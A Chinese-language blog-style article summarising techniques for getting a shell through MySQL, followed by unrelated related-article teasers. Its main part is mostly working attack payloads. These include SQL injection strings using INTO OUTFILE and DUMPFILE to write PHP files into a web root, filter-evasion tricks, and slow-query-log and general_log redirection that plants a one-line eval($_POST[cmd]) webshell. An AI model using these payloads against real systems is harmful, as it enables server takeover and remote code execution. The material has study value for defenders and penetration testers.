mysql数据库中getshell的方式总结

mysql数据库中getshell的方式总结

MySQL版本大于5.0,MySQL 5.0版本以上会创建日志文件,我们通过修改日志文件的全局变量,就可以GetSHELL,下面这篇文章主要给大家介绍了关于mysql数据库中getshell的方式,需要的朋友可以参考下

outfile和dumpfile写shell

利用条件

    数据库当前用户为root权限;知道当前网站的绝对路径;PHP的GPC为 off状态;(魔术引号,GET,POST,Cookie)写入的那个路径存在写入权限。

基于union联合查询:
?id=1 union select 1,‘<?php phpinfo();?>’,3 into outfile ‘C:\phpstudy\www\shell.php’%23
?id=1 union select 1,‘<?php phpinfo();?>’,3 into dumpfile ‘C:\phpstudy\www\shell.php’%23
非联合查询
当我们无法使用联合查询时,我们可以使用fields terminated by与lines terminated by来写shell
?id=1 into outfile ‘C:\phpstudy\www\shell.php’ FIELDS TERMINATED BY ‘<?php phpinfo();?>’%23
代替空格的方法

+号,%0a、%0b、%a0 、 /**/ 注释符等

outfile和dumpfile的区别
outfile:

1、 支持多行数据同时导出2、 使用union联合查询时,要保证两侧查询的列数相同3、 会在换行符制表符后面追加反斜杠4、会在末尾追加换行

dumpfile:

1、 每次只能导出一行数据2、 不会在换行符制表符后面追加反斜杠3、 不会在末尾追加换行

因此,我们可以使用into dumpfile这个函数来顺利写入二进制文件;

当然into outfile函数也可以写入二进制文件,但是无法生效(追加的反斜杠会使二进制文件无法生效)

当我们使用dumpfile,应该手动添加 limit 限制,来获取不同的行数

secure_file_prive

MySQL的secure-file-prive参数是用来限制LOAD DATA, SELECT ,OUTFILE, and LOAD_FILE()传到哪个指定目录的。

secure_file_prive= ,结果为空的话,表示允许任何文件读写secure_file_prive=NULL,表示不允许任何文件读写secure_file_prive=‘某个路径’,表示这个路径作为文件读写的路径在mysql5.5版本前,都是默认为空,允许读取在mysql5.6版本后 ,默认为NULL,并且无法用SQL语句对其进行修改。所以这种只能在配置进行修改。

查询secure_file_prive的参数
show global variables like “%secure%”

利用sql语句修改参数

set global secure_file_prive=

但是5.6后不能利用sql修改了,所以只能利用配置修改

修改value的值:
windows下修改配置文件:mysql.ini
linux修改配置文件:my.cnf

日志getshell

慢日志getshell

慢日志:

一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下:

show global variables like ‘%long_query_time%’
show global variables like ‘%long%’

查看慢日志参数

show global variables like ‘%slow%’
在这里插入图片描述

对慢日志参数进行修改

set global slow_query_log=1 #打开慢日志
set global slow_query_log_file=‘c:\phpstudy\www\test.php’#慢日志的路径
注意:一定要用双反斜杠
SELECT ‘<?php @eval($_POST[1]);?>’ or sleep(11)
这儿11是超过慢日志的10秒时间

利用general_log

利用general_log,可以将所有到达mysql服务器的sql语句,都记录下来。

相关参数一共有3个:general_log、log_output、general_log_file

show variables like ‘general_log’; – 查看日志是否开启
set global general_log=on; – 开启日志功能

show variables like ‘general_log_file’; – 看看日志文件保存位置
set global general_log_file=‘tmp/general.lg’; – 设置日志文件保存位置

show variables like ‘log_output’; – 看看日志输出类型 table或file
set global log_output=‘table’; – 设置输出类型为 table
set global log_output=‘file’; – 设置输出类型为file

一般log_output都是file,就是将日志存入文件中。table的话就是将日志存入数据库的日志表中。

getshell

set global general_log=on
set global general_log_file=‘需要攻击的路径’
select ‘<?php eval($_POST[cmd]);?>’

这样就将一句话木马记录到general_log中,从而getshell

binlog的介绍

https://www.jb51.net/article/254968.htm

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/75695.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于Python的微博数据采集

摘要 本系统通过逆向工程微博移动端API接口,实现了对热门板块微博内容及用户评论的自动化采集。系统采用Requests+多线程架构,支持递归分页采集和动态请求头模拟,每小时可处理3000+条数据记录。关键技术特征包括:1)基于max_id的评论分页递归算法 2)HTML标签清洗正则表达…

WiFi加密协议

目录 1. 认证(Authentication)‌ ‌1.1 开放系统认证(Open System Authentication)‌ 1.2 共享密钥认证(Shared Key Authentication)‌ ‌1.3 802.1X/EAP认证(企业级认证)‌ ‌2. 关联(Association)‌ ‌3. 加密协议(Security Handshake)‌ ‌整体流程总结‌…

MySQL篇(六)MySQL 分库分表:应对数据增长挑战的有效策略

MySQL篇&#xff08;六&#xff09;MySQL 分库分表&#xff1a;应对数据增长挑战的有效策略 MySQL篇&#xff08;六&#xff09;MySQL 分库分表&#xff1a;应对数据增长挑战的有效策略一、引言二、为什么需要分库分表2.1 性能瓶颈2.2 存储瓶颈2.3 高并发压力 三、分库分表的方…

极限编程(XP)简介及其价值观与最佳实践

目录 一、什么是极限编程&#xff08;XP&#xff09;二、极限编程的核心价值观1. 沟通2. 简单3. 反馈4. 勇气 三、极限编程的12个最佳实践1. 结对编程2. 40小时工作制3. 简单设计4. 代码规范5. 测试驱动开发&#xff08;TDD&#xff09;6. 系统隐喻7. 持续集成8. 重构9. 客户在…

Java进阶-day06:反射、注解与动态代理深度解析

目录 一、反射机制&#xff1a;Java的自我认知能力 1.1 认识反射 1.2 获取Class对象 1.3 获取类的成分 二、注解&#xff1a;Java的元数据机制 2.1 注解概述 2.2 元注解 2.3 注解解析 2.4 注解的实际应用 三、动态代理&#xff1a;灵活的间接访问机制 3.1 为什么需要…

Nacos注册中心AP模式核心源码分析(集群模式)

文章目录 概述一、客户端新注册实例信息在集群间同步二、服务端集群节点信息在集群间同步2.1、DistroMapper2.2、ProtocolManager2.3、ServerListManager2.4、RaftPeerSet 三、客户端实例状态信息在集群间同步四、服务端新节点上线同步集群数据 概述 在Nacos集群模式下&#xf…

vscode和cursor对ubuntu22.04的remote ssh和X-Windows的无密码登录

这里写自定义目录标题 写在前面需求的描述问题的引出 昨天已使能自动登录上午我的改变UBUNTU 22.04关闭密码规则一&#xff1a;修改 /etc/pam.d/common-password 文件二&#xff1a;修改 /etc/security/pwquality.conf 文件方法三&#xff1a;禁用 pam_pwquality.so 模块 vscod…

论文阅读:基于增强通用深度图像水印的混合篡改定位技术 OmniGuard

一、论文信息 论文名称:OmniGuard: Hybrid Manipulation Localization via Augmented Versatile Deep Image Watermarking作者团队:北京大学发表会议:CVPR2025论文链接:https://arxiv.org/pdf/2412.01615二、动机与贡献 动机: 随着生成式 AI 的快速发展,其在图像编辑领…

一周学会Pandas2 Python数据处理与分析-NumPy数组创建

锋哥原创的Pandas2 Python数据处理与分析 视频教程&#xff1a; 2025版 Pandas2 Python数据处理与分析 视频教程(无废话版) 玩命更新中~_哔哩哔哩_bilibili NumPy数组创建最常用的方式是直接创建&#xff0c; numpy 可以直接创建或者将 python的其他元素转为 array 对象。 下…

【全球首发】DeepSeek谷歌版1.1.5 - 免费GPT-4级别AI工具

【全球首发】DeepSeek谷歌版1.1.5 - 免费GPT-4级别AI工具 资源简介 DeepSeek谷歌版1.1.5是目前全球领先的免费AI助手&#xff0c;性能超越国内主流AI产品&#xff0c;提供类似GPT-4的智能体验。 版本信息 最新版本&#xff1a;1.1.5&#xff08;2024最新版&#xff09;应用…

小程序29-事件穿参-mark 自定义数据

小程序进行事件传参的时候&#xff0c;除了使用 data-*属性 传递参数外&#xff0c;还可以 使用 mark 标记传递参数 mark 是一种自定义属性&#xff0c;可以在组件上添加&#xff0c;用于来识别具体触发事件的 target 节点。同时 mark 还可以用于承载一些自定义数据 在组件上使…

高级:分布式系统面试题精讲

一、引言 分布式系统在现代软件开发中占据重要地位&#xff0c;其设计和实现需要考虑多个关键因素。面试官通过相关问题&#xff0c;考察候选人对分布式系统核心概念的理解、实际应用能力以及在复杂场景下的问题解决能力。本文将深入分析分布式系统的CAP定理、一致性协议、分布…

【Android Studio 下载 Gradle 失败】

路虽远行则将至&#xff0c;事虽难做则必成 一、事故现场 下载Gradle下载不下来&#xff0c;没有Gradle就无法把项目编译为Android应用。 二、问题分析 观察发现下载时长三分钟&#xff0c;进度条半天没动&#xff0c;说明这个是国外的东西&#xff0c;被墙住了&#xff0c;需…

系统思考:思考的快与慢

在做重大决策之前&#xff0c;什么原因一定要补充碳水化合物&#xff1f;人类的大脑其实有两套运作模式&#xff1a;系统1&#xff1a;自动驾驶模式&#xff0c;依赖直觉&#xff0c;反应快但易出错&#xff1b;系统2&#xff1a;手动驾驶模式&#xff0c;理性严谨&#xff0c;…

从情感分析到朴素贝叶斯法:基于朴素贝叶斯的情感分析如何让DeepSeek赋能你的工作?

文章目录 1.概率论基础1.1 单事件概率1.2 多事件概率1.3 条件概率1.3.1 多事件概率与条件概率的区别 1.4 贝叶斯定理传统思维误区贝叶斯定理计算 2. 朴素贝叶斯法2.1 基本概念2.2 模型2.3 学习策略2.4 优化算法2.5 优化技巧拉普拉斯平滑对数似然 3. 情感分析实战3.1 流程3.2 模…

获取inode的完整路径包含挂载的路径

一、背景 在之前的博客 缺页异常导致的iowait打印出相关文件的绝对路径-CSDN博客 里的 2.2.3 一节和 关于inode&#xff0c;dentry结合软链接及硬链接的实验-CSDN博客 里&#xff0c;我们讲到了在内核里通过inode获取inode对应的绝对路径的方法。对于根目录下的文件而言&#…

【51单片机】2-6【I/O口】【电动车简易防盗报警器实现】

1.硬件 51最小系统继电器模块震动传感器模块433M无线收发模块 2.软件 #include "reg52.h" #include<intrins.h> #define J_ON 1 #define J_OFF 0sbit switcher P1^0;//继电器 sbit D0_ON P1^1;//433M无线收发模块 sbit D1_OFF P1^2; sbit vibrate …

leetcode二叉树刷题调试不方便的解决办法

1. 二叉树不易构建 在leetcode中刷题时&#xff0c;如果没有会员就需要将代码拷贝到本地的编译器进行调试。但是leetcode中有一类题可谓是毒瘤&#xff0c;那就是二叉树的题。 要调试二叉树有关的题需要根据测试用例给出的前序遍历&#xff0c;自己构建一个二叉树&#xff0c;…

蓝桥杯嵌入式客观题二

十四届模拟一 1. 2.串口通信是一种传输线按位数据顺序传输方式 3.USART_SR是属于STM32微控制器USART的状态寄存器。 4.STM32G431RBT6是32位的ARM微控制器 ARM处理器是英国ARM公司设计的一种低功耗RISC微处理器 5.中断配置‌EXTI->FTSR&#xff08;下降沿触发选择寄存器…

OrangePi入门教程(待更新)

快速上手指南 https://www.hiascend.com/developer/techArticles/20240301-1?envFlag1 教学课程(含开发板配置和推理应用开发) https://www.hiascend.com/developer/devboard 开发推理应用 https://www.hiascend.com/developer/techArticles/20240326-1?envFlag1